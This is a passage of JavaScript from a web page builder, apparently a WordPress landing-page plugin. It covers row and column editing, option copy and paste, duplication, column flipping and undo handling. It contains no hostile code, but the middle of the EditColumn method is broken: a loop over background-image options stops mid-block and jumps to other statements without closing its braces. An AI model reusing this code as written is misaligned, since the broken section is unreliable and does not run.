          $(".rowPaddingLeftMobile").val(paddingMobile["rPLM"]);
        }

if (paddingMobile["rPRM"] != "" && paddingMobile["rPRM"] != "1.5") {
          $(".rowPaddingRightMobile").val(paddingMobile["rPRM"]);
        }
      }

if (typeof rowData["bgSTop"] !== "undefined") {
        $.each(rowData["bgSTop"], function (index, val) {
          if (val != "") {
            $('[data-optname="rowData.bgSTop.' + index + '"]').val(val);

if (index == "rbgstColor") {
              $('[data-optname="rowData.bgSTop.' + index + '"]').spectrum(
                "set",
                val
              );
            }
          }
        });

$.each(rowData["bgSBottom"], function (index, val) {
          if (val != "") {
            $('[data-optname="rowData.bgSBottom.' + index + '"]').val(val);

if (index == "rbgsbColor") {
              $('[data-optname="rowData.bgSBottom.' + index + '"]').spectrum(
                "set",
                val
              );
            }
          }
        });
      }

$(".rowBgImgCustomPositionDiv").css("display", "none");
      $(".rowBgImgCustomSizeDiv").css("display", "none");
      $(".imageBackgroundOpsRow").css("display", "none");

if (typeof rowData["bg_imgT"] == "undefined") {
        rowData["bg_imgT"] = "";
      }
      if (typeof rowData["bg_imgM"] == "undefined") {
        rowData["bg_imgM"] = "";
      }

if (
        rowData["bg_img"] != "" ||
        rowData["bg_imgT"] != "" ||
        rowData["bg_imgM"] != ""
      ) {
        $(".imageBackgroundOpsRow").css("display", "block");
      } else {
        $(".imageBackgroundOpsRow").css("display", "none");
      }

if (typeof rowData["bgImgOps"] != "undefined") {
        $.each(rowData["bgImgOps"], function (index, value) {
          if (value != "") {
            $('[data-optname="rowData.bgImgOps.' + index + '"]').val(value);

if (index == "pos" || index == "posT" || index == "posM") {
              if (value == "custom") {
                $(".rowBgImgCustomPositionDiv").css("display", "block");
              }
            }

if (index == "size" || index == "sizeT" || index == "sizeM") {
              if (value == "custom") {
                $(".rowBgImgCustomSizeDiv").css("display", "block");
              }
            }
          }
        });
      }

var customJS = rowData["customJS"];

if (rowData["customStyling"] != "") {
        $(".rowCustomStyling").val(rowData["customStyling"]);
      }

if (rowData["customJS"] != "") {
        $(".rowCustomJS").val(rowData["customJS"]);
      }

if (rowData["conType"] == "boxed") {
        $(".boxedWidthOptionContainer").css("display", "block");
      } else {
        $(".boxedWidthOptionContainer").css("display", "none");
      }

$(".pasteCopyAttrInput").val("");

$(".edit_row").css("display", "block");
      if (typeof resizeWindowOpen != "undefined") {
        resizeWindowOpen();
      }
      jQuery('section[rowid="' + rowID + '"]')
        .children("#ulpb_row_controls")
        .css("display", "block");
    },
    updateRow: function () {
      //console.log( 'updateRow triggered');

//var tua0 = performance.now();

let updatedRowOpName = pageBuilderApp.changedRowOpName;

if (typeof updatedRowOpName == "undefined") {
        updatedRowOpName = " ";
        return;
      }

if (typeof this.model.get("column0") != "undefined") {
        delete this.model.attributes.column0;
      }

let thischangedValue = $(
        '[data-optname="' + updatedRowOpName + '"]'
      ).val();

let thisModelDataAttr = _.clone(this.model.attributes);

let defaultModelDataAttr = JSON.stringify(
        _.clone(pageBuilderApp.rowModelDefaultOps)
      );

defaultModelDataAttr = JSON.parse(defaultModelDataAttr);

let prevRowCols = this.model.get("columns");
      let prevRowHeight = this.model.get("rowHeight");
      let prevRowHeightTablet = this.model.get("rowHeightTablet");
      let prevRowHeightMobile = this.model.get("rowHeightMobile");
      let prevRowHeightUnit = this.model.get("rowHeightUnit");
      let prevRowHeightUnitTablet = this.model.get("rowHeightUnitTablet");
      let prevRowHeightUnitMobile = this.model.get("rowHeightUnitMobile");

mergeNonsetObjectKeys(
        thisModelDataAttr["rowData"],
        defaultModelDataAttr["rowData"]
      );

if (
        updatedRowOpName == "rowData.rowBackgroundType" ||
        updatedRowOpName == "rowData.rowHoverOptions.rowBackgroundTypeHover" ||
        updatedRowOpName == "rowData.rowOverlayBackgroundType"
      ) {
        thischangedValue = $(
          '[data-optname="' + updatedRowOpName + '"]:checked'
        ).val();
      }

setUpdatedOptsObject(
        thisModelDataAttr,
        updatedRowOpName,
        thischangedValue
      );

if (updatedRowOpName) {
        this.model.set(thisModelDataAttr);
      }

let rowColumns = this.model.get("columns");

let numberOfColumnsSelected = rowColumns;
      if (
        typeof this.model.get("column" + numberOfColumnsSelected) == "undefined"
      ) {
        let thisModelDefaultColOps = JSON.stringify(
          _.clone(pageBuilderApp.thisModelDefaultColOps)
        );
        thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps);

for (var i = 1; i <= numberOfColumnsSelected; i++) {
          if (typeof this.model.get("column" + i) == "undefined") {
            this_column = "column" + i;
            this.model.set({
              [this_column]: thisModelDefaultColOps,
            });

let thiscolas = this.model.get(this_column);
            //console.log(thiscolas['columnOptions']['padding']['columnPaddingLeft']);
          }
        }
      }

let rowID = this.model.get("rowID");
      let rowCID = this.model.cid;
      rowColumns = this.model.get("columns");
      let rowHeightUnit = this.model.get("rowHeightUnit");
      let rowData = this.model.get("rowData");
      let rowHeightTablet = this.model.get("rowHeightTablet");
      let rowHeightUnitTablet = this.model.get("rowHeightUnitTablet");
      let rowHeightMobile = this.model.get("rowHeightMobile");
      let rowHeightUnitMobile = this.model.get("rowHeightUnitMobile");

rowOptionsRender(
        rowID,
        rowCID,
        rowColumns,
        rowHeightUnit,
        rowData,
        rowHeightTablet,
        rowHeightUnitTablet,
        rowHeightMobile,
        rowHeightUnitMobile
      );

let aftRowCols = this.model.get("columns");
      let aftRowHeight = this.model.get("rowHeight");
      let aftRowHeightTablet = this.model.get("rowHeightTablet");
      let aftRowHeightMobile = this.model.get("rowHeightMobile");
      let aftRowHeightUnit = this.model.get("rowHeightUnit");
      let aftRowHeightUnitTablet = this.model.get("rowHeightUnitTablet");
      let aftRowHeightUnitMobile = this.model.get("rowHeightUnitMobile");
      let aftrowVideo = this.model.attributes["rowData"]["video"];

if (
        aftRowCols != prevRowCols ||
        aftRowHeight != prevRowHeight ||
        aftRowHeightTablet != prevRowHeightTablet ||
        aftRowHeightMobile != prevRowHeightMobile ||
        aftRowHeightUnit != prevRowHeightUnit ||
        aftRowHeightUnitTablet != prevRowHeightUnitTablet ||
        aftRowHeightUnitMobile != prevRowHeightUnitMobile
      ) {
        $(this.el).html("");
        this.render();
      }

if (updatedRowOpName.includes("video")) {
        $(this.el).html("");
        this.render();
      }

if (pageBuilderApp.isColumnAction == false) {
        var thisChangeRedoProps = {
          changeModelType: "row",
          thisModelCId: rowCID,
          thisModelElId: rowID,
          changedOpName: updatedRowOpName,
          changedOpValue: pageBuilderApp.prevStateOption,
        };

sendDataBackToUndoStack(thisChangeRedoProps);
      }

pageBuilderApp.isColumnAction = false;
      pageBuilderApp.ifChangesMade = true;

//var tua1 = performance.now();
      //console.log("Call to updateRowTrigger took " + (tua1 - tua0) + " milliseconds.");
      //pageBuilderApp.ifChangesMade = true;
      jQuery('section[rowid="' + rowID + '"]')
        .children("#ulpb_row_controls")
        .css("display", "block");
    },
    setGlobalRow: function () {
      if (isGlobalRowActive !== "true") {
        alert("Global Row Extension is not active.");
      } else {
        var askGlobalRowName = prompt("Name of the row ?");
        var globalRowAttrToSet = this.model.attributes;

if (askGlobalRowName != null) {
          if (askGlobalRowName == "") {
            askGlobalRowName = "Global Row";
          }
          var ifIsGlobal = this.model.get("globalRow");
          if (typeof ifIsGlobal != "undefined") {
          } else {
            
            sendGlobalRowDataToDb(
              globalRowAttrToSet,
              askGlobalRowName
            );

this.model.set({
              globalRow: {
                isGlobalRow: true,
                globalRowPid: $(".globalRowRetrievedPostID").val(),
              },
            });
          }
          pageBuilderApp.ifChangesMade = true;
          $(this.el).html("");
          this.render();
        }
      }
    },
    DuplicateRow: function () {
      let newRowModel = this.model.clone();
      let modelIndex = pageBuilderApp.rowList.indexOf(this.model);
      let rowID = "ulpb_Row" + Math.floor(Math.random() * 200000 + 100);
      newRowModel.set({
        rowID: rowID,
        globalRow: "unset",
      });
      newRowModel.unset("globalRow");
      let stuffedModel = JSON.stringify(newRowModel.attributes);
      let unStuffedModel = JSON.parse(stuffedModel);
      pageBuilderApp.rowList.add(unStuffedModel, { at: modelIndex + 1 });
      let duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1);
      rowCID = duplicatedModel.cid;
      let thisChangeRedoProps = {
        changeModelType: "rowSpecialAction",
        thisModelCId: rowCID,
        thisModelElId: rowID,
        specialAction: "duplicate",
        thisModelVal: duplicatedModel,
        thisModelIndex: modelIndex + 1,
      };

sendDataBackToUndoStack(thisChangeRedoProps);

pageBuilderApp.ifChangesMade = true;
      $(this.el).html("");
      this.render();
    },
    addNewRow: function () {
      let modelIndex = pageBuilderApp.rowList.indexOf(this.model);
      let rowID = "ulpb_Row" + Math.floor(Math.random() * 200000 + 100);

let defaultModelDataAttr = JSON.stringify(
        _.clone(pageBuilderApp.rowModelDefaultOps)
      );
      defaultModelDataAttr = JSON.parse(defaultModelDataAttr);

pageBuilderApp.rowList.add(
        {
          rowID: rowID,
          rowHeight: 100,
          columns: 0,
          rowData: defaultModelDataAttr["rowData"],
        },
        { at: modelIndex + 1 }
      );

let duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1);
      let rowCID = duplicatedModel.cid;
      let thisChangeRedoProps = {
        changeModelType: "rowSpecialAction",
        thisModelCId: rowCID,
        thisModelElId: rowID,
        specialAction: "duplicate",
        thisModelVal: duplicatedModel,
        thisModelIndex: modelIndex + 1,
      };

sendDataBackToUndoStack(thisChangeRedoProps);

pageBuilderApp.ifChangesMade = true;
    },
    copySectionOps: function () {
      var thisSectionOps = this.model.get("rowData");
      pageBuilderApp.copiedSecOps = JSON.stringify(thisSectionOps);
    },
    pasteSectionOps: function () {

let thisSectionOpsBefore = this.model.get("rowData");

if (pageBuilderApp.copiedSecOps != "") {
        let sectionOpsToPaste = JSON.parse(pageBuilderApp.copiedSecOps);
        this.model.set("rowData", sectionOpsToPaste);
      }

let rowID = this.model.get("rowID");
      let rowCID = this.model.cid;
      modelIndex = pageBuilderApp.rowList.indexOf(this.model);

let thisChangeRedoProps = {
        changeModelType: "rowSpecialAction",
        thisModelCId: rowCID,
        thisModelElId: rowID,
        specialAction: "sectionOps",
        thisModelVal: thisSectionOpsBefore,
        thisModelIndex: modelIndex,
      };

sendDataBackToUndoStack(thisChangeRedoProps);

pageBuilderApp.copiedSecOps = "";
      $(this.el).html("");
      this.render();
    },
    addNewRowBlock: function (ev) {
      let modelIndex = pageBuilderApp.rowList.indexOf(this.model);
      $(".insertRowBlockAtIndex").val(modelIndex);

$(".ulpb_column_controls").css("display", "none");
      $(".columnWidgetPopup").css("display", "none");
      $(".editWidgetSaveButton").css("display", "none");
      $(".pageops_modal").css("display", "none");
      $(".edit_column").css("display", "none");

$(".insertRowBlock").show(300);
    },
    addNewGlobalRow: function () {
      var modelIndex = pageBuilderApp.rowList.indexOf(this.model);

$(".insert_Global_row").show(300);

$(".addNewGlobalRowClosebutton, .insertGlobalRow").one("click", function () {
        try {
          $(".globalRowRetrievedAttributes").val("");
          selectGlobalRowToInsert = $(".selectGlobalRowToInsert").val();
  
          if (selectGlobalRowToInsert != "") {
            getGlobalRowDataFromDb(selectGlobalRowToInsert);
          }
  
          retrievedGlobalRowAttributes = $(".globalRowRetrievedAttributes").val();
          retrievedGlobalRowAttributes = JSON.parse(retrievedGlobalRowAttributes);
  
          if (retrievedGlobalRowAttributes != "") {
            pageBuilderApp.rowList.add(retrievedGlobalRowAttributes, {
              at: modelIndex + 1,
            });
          }
  
          var duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1);
          var rowCID = duplicatedModel.cid;
          var rowID = duplicatedModel.attributes.rowID;
          var thisChangeRedoProps = {
            changeModelType: "rowSpecialAction",
            thisModelCId: rowCID,
            thisModelElId: rowID,
            specialAction: "NewGlobalRow",
            thisModelVal: selectGlobalRowToInsert,
            thisModelIndex: modelIndex + 1,
          };
  
          sendDataBackToUndoStack(thisChangeRedoProps);
        } catch (error) {
          
        }
        $(".insert_Global_row").css("display", "none");
      });

pageBuilderApp.ifChangesMade = true;
    },
    EditColumn: function (ev) {
      $(".pbSearchWidget").val("");
      jQuery(".widget").css("display", "block");

$(".columnWidgetPopup, .edit_row").css("display", "none");
      $(".ulpb_row_controls, .edit_row").css("display", "none");
      $(".pageops_modal").css("display", "none");
      $(".insertRowBlock").css("display", "none");
      document.getElementById("colOpsForm").reset();

$(".checkIfWidgetsAreLoadedInColumn").val("false");

var this_column = $(ev.target).attr("data-col_id");
      var rowID = this.model.get("rowID");
      $(".ColcurrentEditableRowID").val(rowID);
      $(".currentEditableColId").val(this_column);

pageBuilderApp.currentlyEditedColId = rowID + "-" + this_column;
      pageBuilderApp.currentlyEditedThisCol = this_column;
      pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID");

var thisColumnData = this.model.get(this_column);
      var this_column_widgets = thisColumnData["colWidgets"];
      var this_column_options = thisColumnData["columnOptions"];

var thisModelDataAttr = this_column_options;

if (typeof thisModelDataAttr["colBorder"] !== "undefined") {
        colBorder = thisModelDataAttr["colBorder"];

if (typeof colBorder["bwt"] == "undefined") {
          colBorder["bwt"] = colBorder["colBorderWidth"];
          colBorder["bwb"] = colBorder["colBorderWidth"];
          colBorder["bwl"] = colBorder["colBorderWidth"];
          colBorder["bwr"] = colBorder["colBorderWidth"];
        }

if (typeof colBorder["brt"] == "undefined") {
          colBorder["brt"] = colBorder["colBorderRadius"];
          colBorder["brb"] = colBorder["colBorderRadius"];
          colBorder["brl"] = colBorder["colBorderRadius"];
          colBorder["brr"] = colBorder["colBorderRadius"];
        }
      }

var thisModelDefaultColOps = JSON.stringify(
        _.clone(pageBuilderApp.thisModelDefaultColOps)
      );
      thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps);

mergeNonsetObjectKeys(
        thisModelDataAttr,
        thisModelDefaultColOps.columnOptions
      );

var this_column_margin = this_column_options["margin"];
      var this_column_padding = this_column_options["padding"];

if (
        this_column_options["bg_color"] != "" &&
        this_column_options["bg_color"] != "transparent"
      ) {
        $(".columnBgColor").val(this_column_options["bg_color"]);
      }

$(".columnBgColor").spectrum("set", this_column_options["bg_color"]);

if (this_column_options["width"] != "") {
        $(".columnWidth").val(this_column_options["width"]);
      }

if (typeof this_column_options["columnCSS"] == "undefined") {
        this_column_options["columnCSS"] = "";
      }

if (this_column_options["columnCSS"] != "") {
        $(".columnCustomStyling").val(this_column_options["columnCSS"]);
      }

if (
        this_column_margin["columnMarginTop"] != "" &&
        this_column_margin["columnMarginTop"] != "0"
      ) {
        $(".columnMarginTop").val(this_column_margin["columnMarginTop"]);
      }

if (
        this_column_margin["columnMarginBottom"] != "" &&
        this_column_margin["columnMarginBottom"] != "0"
      ) {
        $(".columnMarginBottom").val(this_column_margin["columnMarginBottom"]);
      }

if (
        this_column_margin["columnMarginLeft"] != "" &&
        this_column_margin["columnMarginLeft"] != "0"
      ) {
        $(".columnMarginLeft").val(this_column_margin["columnMarginLeft"]);
      }

if (
        this_column_margin["columnMarginRight"] != "" &&
        this_column_margin["columnMarginRight"] != "0"
      ) {
        $(".columnMarginRight").val(this_column_margin["columnMarginRight"]);
      }

if (
        this_column_padding["columnPaddingTop"] != "" &&
        this_column_padding["columnPaddingTop"] != "0"
      ) {
        $(".columnPaddingTop").val(this_column_padding["columnPaddingTop"]);
      }

if (
        this_column_padding["columnPaddingBottom"] != "" &&
        this_column_padding["columnPaddingBottom"] != "0"
      ) {
        $(".columnPaddingBottom").val(
          this_column_padding["columnPaddingBottom"]
        );
      }

if (
        this_column_padding["columnPaddingLeft"] != "" &&
        this_column_padding["columnPaddingLeft"] != "0"
      ) {
        $(".columnPaddingLeft").val(this_column_padding["columnPaddingLeft"]);
      }

if (
        this_column_padding["columnPaddingRight"] != "" &&
        this_column_padding["columnPaddingRight"] != "0"
      ) {
        $(".columnPaddingRight").val(this_column_padding["columnPaddingRight"]);
      }

if (typeof this_column_options["columnCustomClass"] !== "undefined") {
        if (this_column_options["columnCustomClass"] != "") {
          $(".columnCustomClass").val(this_column_options["columnCustomClass"]);
        }
      }

if (typeof this_column_options["colCAD"] != "undefined") {
        $(".colCAD").val(this_column_options["colCAD"]);
        $(".colCAT").val(this_column_options["colCAT"]);
        $(".colCAM").val(this_column_options["colCAM"]);
      }

if (typeof this_column_options["colHideOnDesktop"] != "undefined") {
        if (this_column_options["colHideOnDesktop"] != "") {
          $(".colHideOnDesktop").val(this_column_options["colHideOnDesktop"]);
        }

if (this_column_options["colHideOnTablet"] != "") {
          $(".colHideOnTablet").val(this_column_options["colHideOnTablet"]);
        }

if (this_column_options["colHideOnMobile"] != "") {
          $(".colHideOnMobile").val(this_column_options["colHideOnMobile"]);
        }
      }

if (typeof this_column_options["colBoxShadow"] !== "undefined") {
        colBoxShadow = this_column_options["colBoxShadow"];

$.each(colBoxShadow, function (index, val) {
          if (val != "") {
            $('[data-optname="colBoxShadow.' + index + '"]').val(val);

if (index == "colBoxShadowColor") {
              $(".colBoxShadowColor").spectrum(
                "set",
                colBoxShadow["colBoxShadowColor"]
              );
            }
          }
        });
      }

if (typeof this_column_options["colBorder"] !== "undefined") {
        colBorder = this_column_options["colBorder"];

if (typeof colBorder["bwt"] == "undefined") {
          colBorder["bwt"] = colBorder["colBorderWidth"];
          colBorder["bwb"] = colBorder["colBorderWidth"];
          colBorder["bwl"] = colBorder["colBorderWidth"];
          colBorder["bwr"] = colBorder["colBorderWidth"];
        }

if (typeof colBorder["brt"] == "undefined") {
          colBorder["brt"] = colBorder["colBorderRadius"];
          colBorder["brb"] = colBorder["colBorderRadius"];
          colBorder["brl"] = colBorder["colBorderRadius"];
          colBorder["brr"] = colBorder["colBorderRadius"];
        }

$.each(colBorder, function (index, val) {
          if (val != "") {
            $('[data-optname="colBorder.' + index + '"]').val(val);
          }

if (index == "colBorderColor") {
            $("." + index).spectrum("set", val);
          }
        });
      }

if (typeof this_column_options["paddingTablet"] !== "undefined") {
        colMarginTablet = this_column_options["marginTablet"];
        colPaddingTablet = this_column_options["paddingTablet"];

colMarginMobile = this_column_options["marginMobile"];
        colPaddingMobile = this_column_options["paddingMobile"];

if (this_column_options["widthTablet"] != "") {
          $(".columnWidthTablet").val(this_column_options["widthTablet"]);
        }

if (this_column_options["widthMobile"] != "") {
          $(".columnWidthMobile").val(this_column_options["widthMobile"]);
        }

if (colMarginTablet["rMTT"] != "") {
          $(".columnMarginTopTablet").val(colMarginTablet["rMTT"]);
        }

if (colMarginTablet["rMBT"] != "") {
          $(".columnMarginBottomTablet").val(colMarginTablet["rMBT"]);
        }

if (colMarginTablet["rMLT"] != "") {
          $(".columnMarginLeftTablet").val(colMarginTablet["rMLT"]);
        }

if (colMarginTablet["rMRT"] != "") {
          $(".columnMarginRightTablet").val(colMarginTablet["rMRT"]);
        }

if (colMarginMobile["rMTM"] != "") {
          $(".columnMarginTopMobile").val(colMarginMobile["rMTM"]);
        }

if (colMarginMobile["rMBM"] != "") {
          $(".columnMarginBottomMobile").val(colMarginMobile["rMBM"]);
        }

if (colMarginMobile["rMLM"] != "") {
          $(".columnMarginLeftMobile").val(colMarginMobile["rMLM"]);
        }

if (colMarginMobile["rMRM"] != "") {
          $(".columnMarginRightMobile").val(colMarginMobile["rMRM"]);
        }

if (colPaddingTablet["rPTT"] != "") {
          $(".columnPaddingTopTablet").val(colPaddingTablet["rPTT"]);
        }

if (colPaddingTablet["rPBT"] != "") {
          $(".columnPaddingBottomTablet").val(colPaddingTablet["rPBT"]);
        }

if (colPaddingTablet["rPLT"] != "") {
          $(".columnPaddingLeftTablet").val(colPaddingTablet["rPLT"]);
        }

if (colPaddingTablet["rPRT"] != "") {
          $(".columnPaddingRightTablet").val(colPaddingTablet["rPRT"]);
        }

if (colPaddingMobile["rPTM"] != "") {
          $(".columnPaddingTopMobile").val(colPaddingMobile["rPTM"]);
        }

if (colPaddingMobile["rPBM"] != "") {
          $(".columnPaddingBottomMobile").val(colPaddingMobile["rPBM"]);
        }

if (colPaddingMobile["rPLM"] != "") {
          $(".columnPaddingLeftMobile").val(colPaddingMobile["rPLM"]);
        }

if (colPaddingMobile["rPRM"] != "") {
          $(".columnPaddingRightMobile").val(colPaddingMobile["rPRM"]);
        }
      }

if (typeof this_column_options["colBgImg"] != "undefined") {
        if (this_column_options["colBgImg"] != "") {
          $(".colBgImg").val(this_column_options["colBgImg"]);
        }
      }

if (typeof this_column_options["colBgImgT"] != "undefined") {
        if (this_column_options["colBgImgT"] != "") {
          $('[data-optname="colBgImgT"]').val(this_column_options["colBgImgT"]);
        }
      }

if (typeof this_column_options["colBgImgM"] != "undefined") {
        if (this_column_options["colBgImgM"] != "") {
          $('[data-optname="colBgImgM"]').val(this_column_options["colBgImgM"]);
        }
      }

if (typeof this_column_options["colGradient"] != "undefined") {
        var colGradient = this_column_options["colGradient"];

$.each(colGradient, function (index, val) {
          if (val != "") {
            $("." + index).val(val);

if (index == "colGradientColorFirst") {
              $(".colGradientColorFirst").spectrum("set", val);
            }
            if (index == "colGradientColorSecond") {
              $(".colGradientColorSecond").spectrum("set", val);
            }
          }
        });

if (colGradient["colGradientType"] == "linear") {
          $(".radialInput").css("display", "none");
          $(".linearInput").css("display", "block");
        } else if (colGradient["colGradientType"] == "radial") {
          $(".radialInput").css("display", "block");
          $(".linearInput").css("display", "none");
        }
      }

if (typeof this_column_options["colBackgroundType"] == "undefined") {
        this_column_options["colBackgroundType"] = "solid";
      }

if (this_column_options["colBackgroundType"] == "solid") {
        $(".POPBInputNormalRow .colBackgroundTypeSolid").prop("checked", true);
        $(".POPBInputNormalRow .popbNavItem label").css({
          background: "#f1f1f1",
          color: "#333",
        });
        $(".POPBInputNormalRow .colBackgroundTypeSolid")
          .prev("label")
          .css({ background: "#c5c5c5", color: "#fff" });
        $(".POPBInputNormalRow .popb_tab_content").css("display", "none");
        $(".POPBInputNormalRow .content_popb_tab_1").css("display", "block");
      }
      if (this_column_options["colBackgroundType"] == "gradient") {
        $(".colBackgroundTypeGradient").prop("checked", true);
        $(".POPBInputNormalRow .popbNavItem label").css({
          background: "#f1f1f1",
          color: "#333",
        });
        $(".colBackgroundTypeGradient")
          .prev("label")
          .css({ background: "#c5c5c5", color: "#fff" });
        $(".POPBInputNormalRow .popb_tab_content").css("display", "none");
        $(".POPBInputNormalRow .content_popb_tab_2").css("display", "block");
      }

if (typeof this_column_options["colHoverOptions"] !== "undefined") {
        var colHoverOptions = this_column_options["colHoverOptions"];

if (colHoverOptions["colBgColorHover"] != "") {
          $(".colBgColorHover").val(colHoverOptions["colBgColorHover"]);
          $(".colBgColorHover").spectrum(
            "set",
            colHoverOptions["colBgColorHover"]
          );
        }

if (colHoverOptions["colHoverTransitionDuration"] != "") {
          $(".colHoverTransitionDuration").val(
            colHoverOptions["colHoverTransitionDuration"]
          );
        }

if (colHoverOptions["colBackgroundTypeHover"] == "solid") {
          $(".colBackgroundTypeSolidHover").prop("checked", true);
          $(".colBackgroundTypeGradientHover").prop("checked", false);
          $(".POPBInputHovercol .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
          $(".colBackgroundTypeSolidHover")
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $(".POPBInputHovercol .popb_tab_content").css("display", "none");
          $(".POPBInputHovercol .content_popb_tab_1").css("display", "block");
        }
        if (colHoverOptions["colBackgroundTypeHover"] == "gradient") {
          $(".colBackgroundTypeGradientHover").prop("checked", true);
          $(".colBackgroundTypeSolidHover").prop("checked", false);
          $(".POPBInputHovercol .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
          $(".colBackgroundTypeGradientHover")
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $(".POPBInputHovercol .popb_tab_content").css("display", "none");
          $(".POPBInputHovercol .content_popb_tab_2").css("display", "block");
        }
        if (
          colHoverOptions["colBackgroundTypeHover"] == "" ||
          typeof colHoverOptions["colBackgroundTypeHover"] == "undefined"
        ) {
          $(".colBackgroundTypeSolidHover").prop("checked", false);
          $(".colBackgroundTypeGradientHover").prop("checked", false);
          $(".POPBInputHovercol .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
        }

var colGradientHover = colHoverOptions["colGradientHover"];
        $.each(colGradientHover, function (index, val) {
          if (val != "") {
            $("." + index).val(val);

if (index == "colGradientColorFirstHover") {
              $(".colGradientColorFirstHover").spectrum("set", val);
            }
            if (index == "colGradientColorSecondHover") {
              $(".colGradientColorSecondHover").spectrum("set", val);
            }
          }
        });

if (colGradientHover["colGradientTypeHover"] == "linear") {
          $(".radialInputHover").css("display", "none");
          $(".linearInputHover").css("display", "block");
        } else if (colGradientHover["colGradientTypeHover"] == "radial") {
          $(".radialInputHover").css("display", "block");
          $(".linearInputHover").css("display", "none");
        }
      }

//New extra BG Options for column

if (typeof this_column_options["colBgImgT"] == "undefined") {
        this_column_options["colBgImgT"] = "";
      }
      if (typeof this_column_options["colBgImgM"] == "undefined") {
        this_column_options["colBgImgM"] = "";
      }

if (
        this_column_options["colBgImg"] != "" ||
        this_column_options["colBgImgT"] != "" ||
        this_column_options["colBgImgM"] != ""
      ) {
        $(".imageBackgroundOpsCol").css("display", "block");
      } else {
        $(".imageBackgroundOpsCol").css("display", "none");
      }

if (typeof this_column_options["bgImgOps"] != "undefined") {
        $.each(this_column_options["bgImgOps"], function (index, value) {
          if (value != "") {
            $('[data-optname="bgImgOps.' + index + '"]').val(value);

jQuery(".edit_column").css("display", "block");
      jQuery('section[rowid="' + rowID + '"]')
        .children(".ulpb_column_controls" + this_column)
        .css("display", "block");

if (typeof resizeWindowOpen != "undefined") {
        resizeWindowOpen();
      }

if (
        $(ev.target).hasClass("emptyColumnIcon") ||
        $(ev.target).hasClass("dashicons-plus")
      ) {
        $(".colNewWidgetTabBtn").trigger("click");
      } else {
        $(".colOpsTabBtn").trigger("click");
      }
    },
    copyColumnOps: function (ev) {
      var this_column = $(ev.target).attr("data-col_id");
      var thisColToCopyData = this.model.get(this_column);
      var this_column_options = thisColToCopyData["columnOptions"];
      pageBuilderApp.copiedColOps = JSON.stringify(this_column_options);
      return;
    },
    pasteColumnOps: function (ev) {
      if (pageBuilderApp.copiedColOps != "") {
        var pc0this_column = $(ev.target).attr("data-col_id");
        var this_column_index = $(ev.target).attr("data-colIndex");
        var thisColDefaultData = this.model.get(pc0this_column);
        var copiedColOps = JSON.parse(pageBuilderApp.copiedColOps);

var thisColOpsBefore = _.clone(thisColDefaultData["columnOptions"]);

this.model.set({
          [pc0this_column]: {
            colWidgets: thisColDefaultData["colWidgets"],
            columnOptions: copiedColOps,
          },
        });

var rowID = this.model.get("rowID");
        var rowColumns = this.model.get("columns");
        var thisColumnModelData = this.model.get(pc0this_column);

var rowHeightData = {
          rowHeight: this.model.get("rowHeight"),
          rowHeightUnit: this.model.get("rowHeightUnit"),
          rowHeightTablet: this.model.get("rowHeightTablet"),
          rowHeightUnitTablet: this.model.get("rowHeightUnitTablet"),
          rowHeightMobile: this.model.get("rowHeightMobile"),
          rowHeightUnitMobile: this.model.get("rowHeightUnitMobile"),
        };

rowColumnSingleRender(
          thisColumnModelData,
          rowID,
          pc0this_column,
          rowColumns,
          rowHeightData
        );

var thisChangeRedoProps = {
          changeModelType: "colSpecialAction",
          thisModelElId: rowID,
          specialAction: "colOps",
          thisModelVal: thisColOpsBefore,
          thisModelIndex: this_column_index,
        };

sendDataBackToUndoStack(thisChangeRedoProps);

pageBuilderApp.copiedColOps = "";
      }
    },
    flipColumns: function (ev) {
      var rowID = this.model.get("rowID");
      var rowColumns = this.model.get("columns");
      var rowColumns = parseInt(rowColumns);
      var this_column = $(ev.target).attr("data-col_id");
      var this_column_index = $(ev.target).attr("data-colIndex");
      var thisColToCopyData = this.model.get(this_column);

var nxtColIndex = parseInt(this_column_index) + 1;
      var nxtColName = "column" + nxtColIndex;
      var nextColToCopyData = this.model.get(nxtColName);

if (nxtColIndex <= rowColumns) {
        this.model.set({
          [this_column]: {
            colWidgets: nextColToCopyData["colWidgets"],
            columnOptions: nextColToCopyData["columnOptions"],
          },
        });

this.model.set({
          [nxtColName]: {
            colWidgets: thisColToCopyData["colWidgets"],
            columnOptions: thisColToCopyData["columnOptions"],
          },
        });

var thisChangeRedoProps = {
          changeModelType: "colSpecialAction",
          thisModelElId: rowID,
          specialAction: "flip",
          thisModelIndex: this_column_index,
        };

sendDataBackToUndoStack(thisChangeRedoProps);

$(this.el).html("");
        this.render();
      } else {
        $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336");
      }
    },
    reAddDeletedColumns: function (ev) {
      var rowID = this.model.get("rowID");
      var rowColumns = this.model.get("columns");
      var rowColumns = parseInt(rowColumns);

var thisUndoRedoChange = pageBuilderApp.undoRedoDeletedCol;
      var this_column = "column" + thisUndoRedoChange["thisModelIndex"];
      var this_column_index = thisUndoRedoChange["thisModelIndex"];

if (rowColumns < 8) {
        var referenceColumnStorage = [];
        for (var i = 1; i <= rowColumns; i++) {
          referenceColumnStorage.push(this.model.get("column" + i));
        }

for (
          var i = parseInt(this_column_index) + 1;
          i <= rowColumns + 1;
          i++
        ) {
          if (i == parseInt(this_column_index)) {
            //console.log(i);
            //console.log(thisUndoRedoChange['thisModelVal']);
          } else {
            var thisColWidgets = _.clone(
              referenceColumnStorage[i - 2]["colWidgets"]
            );
            thisColName = "column" + i;
            this.model.set({
              [thisColName]: {
                colWidgets: thisColWidgets,
                columnOptions: referenceColumnStorage[i - 2]["columnOptions"],
              },
            });
          }
        }

this.model.set({
          [this_column]: {
            colWidgets: _.clone(
              thisUndoRedoChange["thisModelVal"]["colWidgets"]
            ),
            columnOptions: thisUndoRedoChange["thisModelVal"]["columnOptions"],
          },
        });

$.each(referenceColumnStorage, function (i, v) {
          delete referenceColumnStorage[i];
        });

if (pageBuilderApp.undeRedoActionDuplicateCol != true) {
